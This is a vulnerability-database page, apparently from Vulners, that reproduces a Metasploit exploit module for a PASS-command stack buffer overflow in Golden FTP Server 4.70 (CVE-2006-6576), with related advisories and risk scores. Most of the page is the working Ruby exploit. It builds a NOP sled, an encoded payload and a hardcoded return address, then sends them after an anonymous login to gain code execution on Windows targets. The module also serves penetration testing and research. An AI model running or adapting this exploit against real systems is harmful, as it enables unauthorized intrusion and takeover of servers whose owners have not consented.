Lucene search
+L

Golden FTP Server 4.70 - PASS Stack Buffer Overflow (Metasploit)

🗓️ 02 Jun 2011 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 260 Views

This module exploits a stack buffer overflow in the Golden FTP service using the PASS command

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Golden FTP Server 4.70 - (PASS) Buffer Overflow Exploit(2)
9 Mar 202100:00
zdt
circl
Circl
CVE-2006-6576
23 Jan 201100:00
circl
checkpoint_advisories
Check Point Advisories
Golden FTP PASS Buffer Overflow (CVE-2006-6576)
27 Nov 201400:00
checkpoint_advisories
cve
CVE
CVE-2006-6576
15 Dec 200619:00
cve
cvelist
Cvelist
CVE-2006-6576
15 Dec 200619:00
cvelist
exploitdb
Exploit DB
Golden FTP Server 4.70 - 'PASS' Buffer Overflow
23 Jan 201100:00
exploitdb
exploitdb
Exploit DB
Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)
9 Mar 202100:00
exploitdb
metasploit
Metasploit
GoldenFTP PASS Stack Buffer Overflow
2 Jun 201101:10
metasploit
nvd
NVD
CVE-2006-6576
15 Dec 200619:28
nvd
openvas
OpenVAS
Golden FTP Server Malformed Message Denial Of Service Vulnerability
20 Jan 201100:00
openvas
Rows per page
#
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Golden
				FTP service. This module uses the PASS command to trigger the overflow.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12812 $',
			'References'     =>
				[
					[ 'BID', '45957 '],
					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 350,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => ['win'],
			'Targets'        =>
				[
					[
						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
						{
							'Platform' => 'win',
							'Ret'      => 0x00a93ca6,
						},
					]

				],
			'DisclosureDate' => 'Jan 23 2011'))
	end

	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		if datastore['RHOST'].length < 15
			pad = make_nops(1) * (15 - datastore['RHOST'].length)
		end

		sploit = make_nops(4) * 38
		sploit << payload.encoded
		sploit << pad
		sploit << make_nops(1) * (528 - sploit.length)
		sploit << [target.ret].pack('V')

		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
		begin
			connect
			send_user("anonymous")
			send_cmd(['PASS', sploit], false)
			handler
		rescue EOFError
		end
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
EPSS0.67016
260